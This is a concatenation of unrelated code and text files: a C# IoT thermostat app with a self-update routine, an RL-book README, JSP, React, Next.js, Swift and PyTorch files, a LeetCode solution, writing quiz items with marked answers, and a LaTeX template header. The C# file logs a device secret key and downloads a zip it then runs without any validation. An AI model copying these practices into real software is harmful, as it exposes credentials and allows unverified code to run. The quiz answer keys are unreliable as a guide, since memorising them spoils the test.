_registryManager = RegistryManager.CreateFromConnectionString(_connectionString); try { device = await _registryManager.AddDeviceAsync(new Device(deviceId)); } catch (DeviceAlreadyExistsException e) { device = await _registryManager.GetDeviceAsync(deviceId); } Debug.WriteLine("Generated device key: {0}", device.Authentication.SymmetricKey.PrimaryKey); return device; } private void tbVersion_Tapped(object sender, TappedRoutedEventArgs e) { TriggerUpdateAsync(); } public async Task RunAppUpdateAsync(Uri url) { try { Uri source = url; StorageFile destinationFile = await ApplicationData.Current.LocalFolder.CreateFileAsync("download.zip", CreationCollisionOption.GenerateUniqueName); BackgroundDownloader downloader = new BackgroundDownloader(); DownloadOperation download = downloader.CreateDownload(source, destinationFile); Debug.WriteLine("Downloading " + url); await download.StartAsync(); Debug.WriteLine("Download completed"); await UnzipFile(download.ResultFile.Path); Debug.WriteLine("Unzip completed"); //// REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\EmbeddedMode\ProcessLauncher" /v AllowedExecutableFilesList /t REG_MULTI_SZ /d "c:\windows\system32\applyupdate.exe\0c:\windows\system32\deployappx.exe\0c:\installer\appinstall.cmd\0c:\Data\Users\DefaultAccount\AppData\Local\Packages\15c8ba7d-b8cc-46ee-84f1-ef0f27753fbe_0wy2ejr5nfw9j\LocalState\installer\AppInstall\appinstall.cmd\0" StorageFolder localFolder = ApplicationData.Current.LocalFolder; StorageFolder t = null; try { t = await localFolder.GetFolderAsync("installer"); } catch { t = null; } if (t != null) { await t.DeleteAsync(); } StorageFolder f = await localFolder.GetFolderAsync("update.main"); await f.RenameAsync("installer"); string path = localFolder.Path + "\\installer\\AppInstall\\appinstall.cmd"; string s = ""; await RunProcess(path, s); } catch (Exception ex) { Debug.WriteLine("Exception in STartDownload()"); } } private async Task UnzipFile(string path) { var localFolder = ApplicationData.Current.LocalFolder; ZipFile.ExtractToDirectory(path, localFolder.Path); } public async Task RunProcess(string cmd, string args) { var options = new ProcessLauncherOptions(); var standardOutput = new InMemoryRandomAccessStream(); var standardError = new InMemoryRandomAccessStream(); options.StandardOutput = standardOutput; options.StandardError = standardError; Debug.WriteLine("Run command " + cmd); await CoreWindow.GetForCurrentThread().Dispatcher.RunAsync(CoreDispatcherPriority.Normal, async () => { try { var result = await ProcessLauncher.RunToCompletionAsync(cmd, args == null ? string.Empty : args, options); //ProcessExitCode.Text += "Process Exit Code: " + result.ExitCode; using (var outStreamRedirect = standardOutput.GetInputStreamAt(0)) { var size = standardOutput.Size; using (var dataReader = new DataReader(outStreamRedirect)) { var bytesLoaded = await dataReader.LoadAsync((uint)size); var stringRead = dataReader.ReadString(bytesLoaded); //StdOutputText.Text += stringRead; } } using (var errStreamRedirect = standardError.GetInputStreamAt(0)) { using (var dataReader = new DataReader(errStreamRedirect)) { var size = standardError.Size; var bytesLoaded = await dataReader.LoadAsync((uint)size); var stringRead = dataReader.ReadString(bytesLoaded); //StdErrorText.Text += stringRead; } } } catch (UnauthorizedAccessException uex) { } catch (Exception ex) { } }); } private void btnTemp_Tapped(object sender, TappedRoutedEventArgs e) { Debug.WriteLine("Tapped"); btnTemp.Content = "Temp: -16"; Microsoft.HockeyApp.HockeyClient.Current.TrackEvent("btnTemp clicked"); } private void btnVacation_Tapped(object sender, TappedRoutedEventArgs e) { Debug.WriteLine("Tapped"); } private void btnFreeze_Tapped(object sender, TappedRoutedEventArgs e) { Debug.WriteLine("Tapped"); } private void btnLock_Tapped(object sender, TappedRoutedEventArgs e) { Debug.WriteLine("Tapped"); } } }
# Rl-book Reproducing figure and algorithms from [Reinforcement Learning: An Introduction](http://incompleteideas.net/book/the-book.html) ### Chapter 2 - Multi-armed bandits [Figure 2.2 - Average reward](./multi-armed-bandits/simple_average_reward.png) [Figure 2.2 - Average optimal action](./multi-armed-bandits/simple_average_reward.png) [Figure 2.3 - Optimistic initial value ](./multi-armed-bandits/optimistic_initial_value_average_optimal_action.png) [Figure 2.4 - UCB vs e-greedy ](./multi-armed-bandits/eps_vs_ucb_average_reward.png) [Figure 2.5 - Gradient bandit](./multi-armed-bandits/gradient_bandit_average_optimal_action.png) [Figure 2.6 - Parameter study](./multi-armed-bandits/parameter_study.png) - **(does not match the book plot well currently)** ### Chapter 5 - Monte carlo methods (todo) Algorithm - First visit MC prediction, for estimating Value function (todo) Algorithm - Monte carlo ES (Exploring starts), for estimating policy (todo) Algorithm - On-policy first-visit MC control (for e-soft policies), estimates policy (todo) Figure 5.3 - Weighted importance (todo) Figure 5.4 - Ordinary importance (todo) Algorithm - Off-policy MC prediction (policy evaluation) for estimating Q [Algorithm - Off-policy MC control, for estimating policy](./monte_carlo_methods/off_policy_mc_control.py) ### Chapter 6 - Temporal-Difference learning [Algorithm - Tabular TD (0) for estimating value_policy](./temporal-difference-learning/tabluar_td_0.py) [Algorithm - Sarsa (On-policy TD control) for estimating](./temporal-difference-learning/sarsa.py) [Algorithm - Q-Learning (Off-policy TD-control) for estimating policy](./temporal-difference-learning/q_learning.py) [Figure on page 132 - Q-Learning vs Sarsa](./temporal-difference-learning/Q_learning_Sarsa_cliff_walking.png) (todo) Figure 6.3 - TD-Control performance [Figure 6.5 - Comparison of Q-Learning and Double Q-Learning](./temporal-difference-learning/bias_q_learning_vs_double_q_learning.png) [Algorithm - Double Q-Learning for estimating Q](./temporal-difference-learning/double_q_learning.py) ### Chapter 7 - n-step bootstrapping [Algorithm - n-step TD for estimating value function](./n-step-Bootstrapping/n_step_td_for_estimating_v.py) (todo) - Figure 7.2 - Performance of n-step TD methods as a function of alpha, for various values of n, on a 19-state random walk task. [Algorithm - n-step Sarsa for estimating Q function](n-step-Bootstrapping/n_step_sarsa_for_q_function.py) (todo) - Figure 7.4 - Visualize the difference in action between one-step Sarsa and 10 step Sarsa (todo) Algorithm - Off-policy n-step Sarsa for estimating Q function (todo) Algorithm - n-step Tree backup for estimating Q function (todo) Algorithm - Off-policy n-step Q(sigma) for estimating Q
<%@page import="com.entity.BookDet"%> <%@page import="com.db.Conpro"%> <%@page import="com.dao.BookDaoImp"%> <%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@taglib prefix="sql" uri="http://java.sun.com/jsp/jstl/sql" %> <%@ page isELIgnored= "false" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Store: Edit</title> <%@include file="AllComponent/allCss.jsp"%> </head> <body> <%@ include file="AllComponent/Navbar.jsp" %> <c:if test="${empty user }"> <c:redirect url="login.jsp"></c:redirect> </c:if> <% int id = Integer.parseInt(request.getParameter("id")); BookDaoImp bdi = new BookDaoImp(Conpro.getCon()); BookDet bdt = bdi.getBookbyId(id); %> <div class="container mt-3"> <div class="row pb-4"> <div class="col-md-4 offset-md-4 "> <div class="card mb-3 "> <div class="card-body"> <h4 class="text-center text-success">Add Books</h4> <form action="EditBookServ" method="post"> <div class="mb-2"> <input type="hidden" class="form-control" id="formGroupExampleInput" name="bookid" value= <%=id %>> </div> <div class="mb-2"> <label for="bname" class="form-label">Book Name: </label> <input type="text" class="form-control" id="formGroupExampleInput" placeholder="Book Name" name="bname" value="<%=bdt.getBookname() %>" required> </div> <div class="mb-2"> <label for="aname" class="form-label">Author Name: </label> <input type="text" class="form-control" id="formGroupExampleInput2" placeholder="Author name" name="aname" value="<%=bdt.getAuthor() %>" required> </div> <div class="mb-2"> <label for="price" class="form-label">Price: </label> <input type="number" class="form-control" id="formGroupExampleInput2" placeholder="Price" name="price" value="<%=bdt.getPrice() %>" required> </div> <div class="mb-2"> <label for="status" class="form-label">Book Status: </label> <select class="form-select" aria-label="Default select example" name="status" required> <% if("Active".equals(bdt.getStatus())){ %> <option value="Active">Active</option> <option value="Inactive">Inactive</option> <%} else { %> <option value="Inactive">Inactive</option> <option value="Active">Active</option> <%} %> </select> </div> <div> <button type="submit" class="btn btn-primary m-2">Update</button> <button type="reset" class="btn btn-danger ms-5 m-2">Reset</button> </div> </form> </div> </div> </div> </div> </div> <div class="fixed-bottom"> <%@ include file="AllComponent/Footer.jsp"%> </div> </body> </html>
import React from 'react'; import { makeStyles } from '@material-ui/core/styles'; import Table from '@material-ui/core/Table'; import TableBody from '@material-ui/core/TableBody'; import TableCell from '@material-ui/core/TableCell'; import TableContainer from '@material-ui/core/TableContainer'; import TableHead from '@material-ui/core/TableHead'; import TableRow from '@material-ui/core/TableRow'; import Paper from '@material-ui/core/Paper'; import Fab from '@material-ui/core/Fab'; import AddIcon from '@material-ui/icons/Add'; import EditIcon from '@material-ui/icons/Edit'; import DeleteIcon from '@material-ui/icons/Delete'; const useStyles = makeStyles((theme) => ({ table: { minWidth: 650, }, root: { '& > *': { margin: theme.spacing(1), }, }, extendedIcon: { marginRight: theme.spacing(1), }, add: { background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)', marginLeft: 1550, marginTop: -80 }, edit: { background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)', marginRight: 20, marginLeft: -95, marginTop: 4 }, delete: { background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)', marginTop: 4 } })); function createData(name, calories, fat, carbs, protein) { return { name, calories, fat, carbs, protein }; } const rows = [ createData('Frozen yoghurt', 159, 6.0, 24, 4.0), createData('Ice cream sandwich', 237, 9.0, 37, 4.3), createData('Eclair', 262, 16.0, 24, 6.0), createData('Cupcake', 305, 3.7, 67, 4.3), createData('Gingerbread', 356, 16.0, 49, 3.9), ]; export default function Ledgers() { const classes = useStyles(); return ( <div> <h1>Ledgers</h1><Fab className={classes.add} size='medium' color="primary" aria-label="add"><AddIcon /></Fab> <TableContainer component={Paper}> <Table className={classes.table} aria-label="simple table"> <TableHead> <TableRow> <TableCell>Dessert (100g serving) </TableCell> <TableCell align="center">Calories</TableCell> <TableCell align="center">Fat&nbsp;(g)</TableCell> <TableCell align="center">Carbs&nbsp;(g)</TableCell> <TableCell align="center">Protein&nbsp;(g)</TableCell> </TableRow> </TableHead> <TableBody> {rows.map((row) => ( <TableRow key={row.name}> <TableCell component="th" scope="row"> {row.name} </TableCell> <TableCell align="center">{row.calories}</TableCell> <TableCell align="center">{row.fat}</TableCell> <TableCell align="center">{row.carbs}</TableCell> <TableCell align="center">{row.protein}</TableCell> <Fab className={classes.edit} size='small' color="primary" aria-label="edit"><EditIcon /></Fab> <Fab className={classes.delete} size='small' color="primary" aria-label="delete"><DeleteIcon /></Fab> </TableRow> ))} </TableBody> </Table> </TableContainer> </div> ); }
import { Box } from "@mui/system"; import { format } from "date-fns"; import { useRouter } from "next/router"; import Link from "next/link"; import { List } from "@/components/List/List"; import { SimpleList } from "@/components/SimpleList/SimpleList"; import { Overview } from "@/components/Overview/Overview"; import { schema } from "@/helpers/api"; import { GET_MODEL_INFO } from "@/endpoints"; import { SectionTitle } from "@/components/Typography/Typography"; import { Pill } from "@/components/Pill/Pill"; import { PageTop } from "@/components/PageTop/PageTop"; import { Tab, Tabs } from "@/components/Tabs/Tabs"; import { PageContainer } from "@/components/PageContainer/PageContainer"; import { ModelPageHeader } from "@/components/Header/ModelPageHeader"; import { modelOverviewSchema } from "@/types/modelSchema"; import { GetServerSidePropsContext, InferGetServerSidePropsType } from "next"; import { Button } from "@/components/Button/Button"; import { ShareMeta } from "@/components/ShareMeta/ShareMeta"; import { pageErrorHandler } from "@/helpers/server-side"; import { Tags, getTags } from "@/components/Tags"; import { InfoIconTooltip } from "@/components/Tooltip/InfoTooltip"; export const getServerSideProps = pageErrorHandler( async ( context: GetServerSidePropsContext & { query: { modelInfoId: string } } ) => { const modelInfoId = context.query.modelInfoId; const [{ model_info, repos, sbom, risk_overview, reports }] = await schema( modelOverviewSchema ).get(GET_MODEL_INFO, { q: modelInfoId, }); return { props: { modelURL: model_info.purl, model: model_info, scans: risk_overview, repos, sbom, reports, }, }; } ); export default function OverviewPage({ model, repos, sbom, scans, reports, }: InferGetServerSidePropsType<typeof getServerSideProps>) { const { query } = useRouter(); const modelInfoId = query.modelInfoId as string; const { libraries, task, type } = repos; const tags = getTags({ libraries, task, type }); const hasRareArtifacts = sbom.files?.some(file => file.rare?.length); const overviewItems = [ { name: "Repository URL", value: ( <a className="hover:underline" href={model.repo_uri} target="_blank" rel="noreferrer noopener" > {model.repo_uri} </a> ), }, { name: "Repository Type", value: repos.type }, { name: "Commit Date", value: format(new Date(model.commitdate), "MMM dd, yyyy"), }, { name: "Commit Hash", value: model.commithash }, { name: "Author", value: model.owner }, { name: "Reputation", value: repos.reputation }, { name: "Vulnerabilities", value: model.vulnerabilities.join().replaceAll(",", ", ") || "None", }, ]; const { security, ethics, performance, overall } = scans; const riskOverviewItems = [ { name: "Overall Risk Score", value: overall, }, { name: "Operational Risk Score", value: performance, }, { name: "Security Risk Score", value: security, }, { name: "Fairness Risk Score", value: ethics, }, ]; const title = `${model.owner && model.owner + "/"}${model.name}`; return ( <> <ShareMeta title={`${title} | AI Risk Database Model`} /> <PageTop> <ModelPageHeader title={title} textToCopy={() => document.URL} modelURL={model.purl} smallMarginBottom={!!tags.length} /> {tags.length && <Tags className="mb-4 " tags={tags} />} <Tabs activeIndex={0}> <Link href={`/model/overview/${encodeURIComponent(modelInfoId)}`}> <Tab label="Model Overview" active={true} /> </Link> <Link href={`/model/related-models/${encodeURIComponent(modelInfoId)}`} > <Tab label="Related Models" active={false} /> </Link> </Tabs> </PageTop> <PageContainer> <div className="grid lg:grid-cols-overview-columns lg:gap-x-8 w-full"> <div className="flex flex-col"> <Box className="box my-3"> <div className="flex justify-between items-start"> <SectionTitle>Model</SectionTitle> {hasRareArtifacts && <Pill>Rare Artifacts</Pill>} </div> <Overview items={overviewItems} /> </Box> <Box className="box my-3"> <SectionTitle className="pb-3"> Top Vulnerability Reports </SectionTitle> {!!reports?.length ? ( <List items={reports.map( ({ title, models_affected, user_id, updated, report_id, }) => ({ report_id, href: `/report/${report_id}`, title, icon: "warning", description: `Affects ${models_affected} ${ models_affected === 1 ? "model" : "models" }`, indicators: [ <> reported by{" "} <a href={`https://github.com/${user_id}`} target="_blank" rel="noreferrer noopener" className="text-secondary-dark-blue" > {user_id} </a> </>, format(new Date(updated), "MMM dd, yy"), ], }) )} /> ) : ( <div className="flex flex-col"> <span className="mt-3 text-sm"> No vulnerabilities reported </span> <Link className="mt-6" href={`/report-vulnerability?modelURL=${model.purl}`} > <Button>Report Vulnerability</Button> </Link> </div> )} </Box> <Box className="box my-5"> <SectionTitle>Model Versions</SectionTitle> <div className="flex flex-col"> {Object.entries(repos.versions).map(([version, date]) => ( <div key={version} className="flex lg:flex-row flex-col justify-between text-sm font-roboto py-4 border-b border-athens last:border-0" > <span className="text-dark">@{version}</span> <span className="text-oslo-gray"> {format(new Date(date), "dd LLLL yyyy")} </span> </div> ))} </div> </Box> {!!sbom.files?.length && ( <Box className="box my-3"> <SectionTitle className="pb-3"> Software Bill of Materials </SectionTitle> <SimpleList showOnDefault={4} items={sbom.files?.map( ({ filename, size, sha256, rare }) => ({ title: filename, indicator: size, href: `/file/${sha256}?filename=${filename}&modelURL=${encodeURIComponent( model.purl )}`, isRare: !!rare?.length, }) )} /> </Box> )} </div> <div> <Box className="box my-3"> <SectionTitle className="pb-3 flex items-center"> <span>Risk Overview</span>{" "} <InfoIconTooltip className="ml-6" title={ <div className="bg-white"> <h6 className="font-medium text-xs text-primary leading-5"> How this is tested </h6> <div className="text-oslo-gray text-sm leading-6 font-normal"> Based on Robust Intelligence automated testing. <ul className="list-disc ml-5"> <li> Operational: Assesses a model&apos;s performance, generalization ability, and robustness to minor transformations </li> <li> Security: Assesses the security and privacy of a model and its underlying dataset </li> <li> Fairness: Assesses a model&apos;s fair treatment among protected classes and subcategories in the data </li> </ul> </div> </div> } /> </SectionTitle> <Overview items={riskOverviewItems} variant="risk" /> </Box> </div> </div> </PageContainer> </> ); }
| English | [简体中文](README.md) | # [142. Linked List Cycle II](https://leetcode.cn//problems/linked-list-cycle-ii/) ## Description <p>Given the <code>head</code> of a linked list, return <em>the node where the cycle begins. If there is no cycle, return </em><code>null</code>.</p> <p>There is a cycle in a linked list if there is some node in the list that can be reached again by continuously following the <code>next</code> pointer. Internally, <code>pos</code> is used to denote the index of the node that tail&#39;s <code>next</code> pointer is connected to (<strong>0-indexed</strong>). It is <code>-1</code> if there is no cycle. <strong>Note that</strong> <code>pos</code> <strong>is not passed as a parameter</strong>.</p> <p><strong>Do not modify</strong> the linked list.</p> <p>&nbsp;</p> <p><strong class="example">Example 1:</strong></p> <img alt="" src="https://assets.leetcode.com/uploads/2018/12/07/circularlinkedlist.png" style="height: 145px; width: 450px;" /> <pre> <strong>Input:</strong> head = [3,2,0,-4], pos = 1 <strong>Output:</strong> tail connects to node index 1 <strong>Explanation:</strong> There is a cycle in the linked list, where tail connects to the second node. </pre> <p><strong class="example">Example 2:</strong></p> <img alt="" src="https://assets.leetcode.com/uploads/2018/12/07/circularlinkedlist_test2.png" style="height: 105px; width: 201px;" /> <pre> <strong>Input:</strong> head = [1,2], pos = 0 <strong>Output:</strong> tail connects to node index 0 <strong>Explanation:</strong> There is a cycle in the linked list, where tail connects to the first node. </pre> <p><strong class="example">Example 3:</strong></p> <img alt="" src="https://assets.leetcode.com/uploads/2018/12/07/circularlinkedlist_test3.png" style="height: 65px; width: 65px;" /> <pre> <strong>Input:</strong> head = [1], pos = -1 <strong>Output:</strong> no cycle <strong>Explanation:</strong> There is no cycle in the linked list. </pre> <p>&nbsp;</p> <p><strong>Constraints:</strong></p> <ul> <li>The number of the nodes in the list is in the range <code>[0, 10<sup>4</sup>]</code>.</li> <li><code>-10<sup>5</sup> &lt;= Node.val &lt;= 10<sup>5</sup></code></li> <li><code>pos</code> is <code>-1</code> or a <strong>valid index</strong> in the linked-list.</li> </ul> <p>&nbsp;</p> <p><strong>Follow up:</strong> Can you solve it using <code>O(1)</code> (i.e. constant) memory?</p> ## Solutions ### Java ```Java // @Title: 环形链表 II (Linked List Cycle II) // @Author: robert.sunq // @Date: 2021-06-10 22:12:27 // @Runtime: 1 ms // @Memory: 38.4 MB /** * Definition for singly-linked list. * class ListNode { * int val; * ListNode next; * ListNode(int x) { * val = x; * next = null; * } * } */ public class Solution { public ListNode detectCycle(ListNode head) { ListNode l = head,f = head; while(true){ if(l == null || f == null || f.next == null) return null; l = l.next; f = f.next.next; if(l == f) break; } f = head; while( f != l){ f = f.next; l = l.next; } return f; } } ``` ## Related Topics - [Hash Table](https://leetcode.cn//tag/hash-table) - [Linked List](https://leetcode.cn//tag/linked-list) - [Two Pointers](https://leetcode.cn//tag/two-pointers) ## Similar Questions - [Linked List Cycle](../linked-list-cycle/README_EN.md) - [Find the Duplicate Number](../find-the-duplicate-number/README_EN.md)
## 4.2 Recognize and evaluate keys to successful writing ### 4.2.1 Recognize keys to successful analysis writing // self-check Which of the following is a question you normally don't need to address when formulating an analytic thesis statement? ~formative 1. How? ~feedback: Incorrect. Addressing "how" something means what it does is a key part of forming an analytic thesis statement. 2. Who?* ~feedback: Correct. Though thinking about "who" might be important for some analysis, it is not one of the main terms to consider when forming an analytic thesis statement. 3. So what? ~feedback: Incorrect. Thinking about the "so what" helps take an analytic thesis statement into a bigger picture and is an important step. 4. Why? ~feedback: Incorrect. Addressing "why" something means what it does is a key part of forming an analytic thesis statement. Which of the following is not a good tip to consider when thinking about evidence? ~formative 1. Be selective about evidence. ~feedback: Incorrect. Being selective with evidence will lead to a more focused final product. 2. Move past obvious interpretations. ~feedback: Incorrect. Moving past obvious interpretations will help your work. 3. Only provide evidence that comes from scholarly sources.* ~feedback: Correct. Good analytic evidence often comes from your own thinking. 4. Be clear and explicit with your evidence. ~feedback: Incorrect. You want to clearly explain and show your analytic evidence. Which of the following best defines the idea of suspending judgment when analyzing? ~formative 1. Making a decision about a topic, idea, or artifact based on your beliefs before doing research. ~feedback: Incorrect. Suspending judgment involves approaching a topic, idea, or artifact without bias or presuppositions. 2. Approaching a topic, idea, or artifact with an open mind.* ~feedback: Correct. Suspending judgment involves approaching a topic, idea, or artifact without bias or presuppositions. 3. Setting a predetermined amount of time before you will make judgment about a topic, issue, or artifact. ~feedback: Incorrect. Suspending judgment involves approaching a topic, idea, or artifact without bias or presuppositions. Setting an amount of time before you judge something does not guarantee you are looking at it with an open mind.   // quiz It is a good idea to use all possible evidence you can find in support of a point when writing an analysis. ~summative 1. True 2. False* Which of the following is not good advice to follow when formulating an analytic thesis? ~summative 1. Make sure your main claim is reasoned. 2. Decide on a main claim and stick to it exactly throughout your drafting process.* 3. Use analysis to help you get to a main claim. Which of the following best describes how evidence should function in an analytic writing? ~summative 1. Evidence should be complex and come all from expert sources who have analyzed the subject matter beforehand. 2. Writers should be selective, not including all possible evidence just because it relates to the main claim.* 3. Writers don't need to explain all evidence because some of it will be obvious to readers. ### 4.2.2 Evaluate keys to successful analysis writing // self-check Which of the following sentences does not make for a good analytic thesis statement? ~formative 1. The idea behind the Sports Illustrated Swimsuit Issue needs to be viewed in context of the feminist movement of the 1960s. ~feedback: Incorrect. This sentence sets up a deeper exploration of the "how," "why," and "so what" and lets readers know they will need to look into the context of the time. 2. The idea behind the Sports Illustrated Swimsuit Issue was to bring images of beautiful women to readers across the globe through full-color images and interesting stories.* ~feedback: Correct. This sentence presents an obvious reason for the advent of the magazine and does not set up a deeper exploration of "how," "why," and "so what." 3. The idea behind the Sports Illustrated Swimsuit Issue may seem like sexual exploitation but was really a reaction to a changing market that viewed sex and sport as intertwined. ~feedback: Incorrect. This sentence sets up a deeper exploration of the "how," "why," and "so what" and lets readers know they will need to look into the context of the time. Read the following analytic thesis statement and determine which answer below best addresses the problem with it: Maybelline's new ad campaign features beautiful models in fun situations because the company wants to distract people from the fact that it still tests products on animals. ~formative 1. The claim doesn't address the "why." ~feedback: Incorrect. The statement does include the writer's interpretation of why the ads are produced in a certain way. 2. The claim isn't reasoned.* ~feedback: Correct. Though the ad may feature beautiful models in fun situations and Maybelline may still test products on animals, it is extremely unlikely that the two ideas are related, and very few, if any, reasonable readers would see a connection. 3. The student didn't use analysis to reach the claim. ~feedback: Incorrect. Though the claim here is extremely unlikely, the writer is technically analyzing and making an interpretation. Read the following analytic thesis statement and determine which of the approaches below is the best for incorporating evidence: Dave Eggers' novel The Circle continues a rich American dystopian literary tradition by showing how those struggling for control of the masses might not always be whom we think and by prodding us to consider the potential consequences of sharing details of our lives with others on social media. ~formative 1. The writer could reference some previous dystopian works and analyze how Eggers' book builds on those ideas in a modern context where many people don't see dangers in technology.* ~feedback: Correct. This example would contain evidence to back the specific claim that the writer has introduced. 2. The writer could point out examples of how he or she has shared information on social media and then regretted it later. ~feedback: Incorrect. This example contains no reference to The Circle when the claim sets up an analysis of Eggers' book. 3. The writer could detail a list of previous dystopian literature and analyze the impact it had on the role of technology in American culture. ~feedback: Incorrect. While some such information might work well, this example contains no reference to The Circle when the claim sets up an analysis of Eggers' book.    // quiz Read the following analytic thesis statement and determine what is missing that could improve it: McDonald's latest ad campaign incorporates throwbacks to previous decades such as images of drive-ins as part of an effort to appeal to more senior citizens. ~summative 1. The thesis statement is missing the "how." 2. The thesis statement is missing the "why." 3. The thesis statement is missing the "so what."* Read over the following scenario and then determine what is the best approach for the student: Philip is taking a Writing class, and he has been assigned an analysis essay on looking into if a system to pay college athletes is possible across the country. Philip's brother Jackson is a year older than him and plays football for the university. Jackson doesn't have time to work due to his commitments to academics and sports, and Philip knows that his brother has had to borrow money from their uncle to keep up with bills and to afford his car. The writing assignment requires objective research and a minimum of four expert sources. What is Philip's best next step? ~summative 1. Philip knows from his brother's experience that college athletes should be paid, so he should find sources that have endorsed the same view, read them over, and start writing once he decides how to work in the outside material. 2. Philip should step back and do some objective research on how the issue is viewed nationwide, and then he can weigh how his own knowledge of the issue fits into the current discussion.* 3. Philip should contact his brother and ask him for the names of other football players he can talk to so he can be sure to have evidence from people who are close to the situation. Janelle is taking a Business Management class. Her current assignment is to write a 700-900 word analysis of a business plan where she is supposed to examine how feasible the plan is. After Janelle writes about 750 words explaining potential problems with some of the plan's budget projections, she writes the following: "Additionally, the third paragraph on page two about isn't clear." What is the problem with Janelle's response? ~summative 1. Janelle isn't being explicit and is assuming the author already understands what problems exist in the paragraph.* 2. Janelle isn't using the proper format to respond to business plans. 3. Janelle isn't analyzing at all in her writing.
"""Script for training MF-U-Net using PyTorch Lightning API.""" import sys from pathlib import Path import argparse import random import numpy as np from utils.config import load_config from utils.logging import setup_logging import pytorch_lightning as pl import torch from pytorch_lightning.callbacks import ( EarlyStopping, ModelCheckpoint, LearningRateMonitor, DeviceStatsMonitor, ) from pytorch_lightning.loggers import WandbLogger from pytorch_lightning.profilers import PyTorchProfiler from datamodules import SHMUDataModule from models import MFUNET import wandb import os def main(configpath, checkpoint=None): confpath = Path("config") / configpath dsconf = load_config(confpath / "datasets.yaml") outputconf = load_config(confpath / "output.yaml") modelconf = load_config(confpath / "MFUNET.yaml") torch.manual_seed(1) random.seed(1) np.random.seed(1) torch.set_float32_matmul_precision('high') setup_logging(outputconf.logging) datamodel = SHMUDataModule(dsconf, modelconf.train_params) model = MFUNET(modelconf) # Callbacks model_ckpt = ModelCheckpoint( dirpath=f"checkpoints/{modelconf.train_params.savefile}", save_top_k=3, monitor="val_loss", save_on_train_epoch_end=False, ) lr_monitor = LearningRateMonitor(logging_interval="epoch") early_stopping = EarlyStopping(**modelconf.train_params.early_stopping) device_monitor = DeviceStatsMonitor() logger = WandbLogger(save_dir=f"checkpoints/{modelconf.train_params.savefile}/wandb", project=modelconf.train_params.savefile, log_model=True) profiler = PyTorchProfiler(profile_memory=False) wandb.run.save(os.path.join(configpath, '*'), policy='now') trainer = pl.Trainer( profiler=profiler, logger=logger, val_check_interval=modelconf.train_params.val_check_interval, max_epochs=modelconf.train_params.max_epochs, max_time=modelconf.train_params.max_time, devices=modelconf.train_params.gpus, limit_val_batches=modelconf.train_params.val_batches, limit_train_batches=modelconf.train_params.train_batches, callbacks=[ early_stopping, model_ckpt, lr_monitor, device_monitor, ], log_every_n_steps=5, ) trainer.fit(model=model, datamodule=datamodel, ckpt_path=checkpoint) torch.save(model.state_dict(), f"state_dict_{modelconf.train_params.savefile}.ckpt") trainer.save_checkpoint(f"{modelconf.train_params.savefile}.ckpt") if __name__ == "__main__": argparser = argparse.ArgumentParser( description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter ) argparser.add_argument("config", type=str, help="Configuration folder") argparser.add_argument( "-c", "--continue_training", type=str, default=None, help="Path to checkpoint for model that is continued.", ) args = argparser.parse_args() main(args.config, args.continue_training)
// // SectionViewModel.swift // SwiftUIConcurrency // // Created by Ali Aghamirbabaei on 3/4/22. // import Foundation import Apollo class SectionViewModel: ObservableObject { @Published public var sections: [SectionDataColletion.SectionModel] = [] @Published public private(set) var filteredSections: [SectionDataColletion.SectionModel] = [] private func querySections() async throws -> GraphQLResult<SectionQuery.Data>? { return await withCheckedContinuation { countinuation in Network.shared.apollo.fetch(query: SectionQuery()) { result in switch result { case .success(let graphQLResult): countinuation.resume(returning: graphQLResult) case .failure(let error): if let error = error as? Never { countinuation.resume(throwing: error) } } } } } func fetch() async { do { let result = try await querySections() if let result = result { if let sectionCollection = result.data?.sectionCollection { self.sections = process(data: sectionCollection) } } } catch { print("Error \(error)") } } private func process(data: SectionCollectionData) -> [SectionDataColletion.SectionModel] { let content = SectionDataColletion.init(data) return content.sections } func randomizeSections() async { sections.shuffle() } func orderSectionsByPinned() { sections.sort {$0.isPinned && !$1.isPinned} } func filterSections(for text: String) { filteredSections = [] let searchText = text.lowercased() sections.forEach { section in let searchContent = section.title if searchContent.lowercased().range(of: searchText, options: .regularExpression) != nil { filteredSections.append(section) } } } }
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % Masters/Doctoral Thesis % LaTeX Template % Version 2.5 (27/8/17) % % This template was downloaded from: % http://www.LaTeXTemplates.com % % Version 2.x major modifications by: % Vel ([email protected]) % % This template is based on a template by: % Steve Gunn (http://users.ecs.soton.ac.uk/srg/softwaretools/document/templates/) % Sunil Patel (http://www.sunilpatel.co.uk/thesis-template/) % % Template license: % CC BY-NC-SA 3.0 (http://creativecommons.org/licenses/by-nc-sa/3.0/) % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %---------------------------------------------------------------------------------------- % PACKAGES AND OTHER DOCUMENT CONFIGURATIONS %---------------------------------------------------------------------------------------- \documentclass[ 11pt, % The default document font size, options: 10pt, 11pt, 12pt %oneside, % Two side (alternating margins) for binding by default, uncomment to switch to one side english, % ngerman for German onehalfspacing, % Single line spacing, alternatives: singlespacing, onehalfspacing or doublespacing %draft, % Uncomment to enable draft mode (no pictures, no links, overfull hboxes indicated) %nolistspacing, % If the document is onehalfspacing or doublespacing, uncomment this to set spacing in lists to single %liststotoc, % Uncomment to add the list of figures/tables/etc to the table of contents %toctotoc, % Uncomment to add the main table of contents to the table of contents %parskip, % Uncomment to add space between paragraphs %nohyperref, % Uncomment to not load the hyperref package headsepline, % Uncomment to get a line under the header %chapterinoneline, % Uncomment to place the chapter title next to the number on one line %consistentlayout, % Uncomment to change the layout of the declaration, abstract and acknowledgements pages to match the default layout ]{MastersDoctoralThesis} % The class file specifying the document structure \usepackage{scigeneral} \usepackage{cases} \setcounter{secnumdepth}{3} \setcounter{tocdepth}{3} \usepackage[utf8]{inputenc} % Required for inputting international characters % \usepackage{mlmodern/latex/mlmodern} \usepackage{lmodern} \usepackage[T1]{fontenc} % Output font encoding for international characters % \usepackage{tgbonum} \usepackage{breqn} % \usepackage{mathpazo} % Use the Palatino font by default % \usepackage[backend=bibtex,style=authoryear,natbib=true]{biblatex} % Use the bibtex backend with the authoryear citation style (which resembles APA) % \usepackage[ % backend = 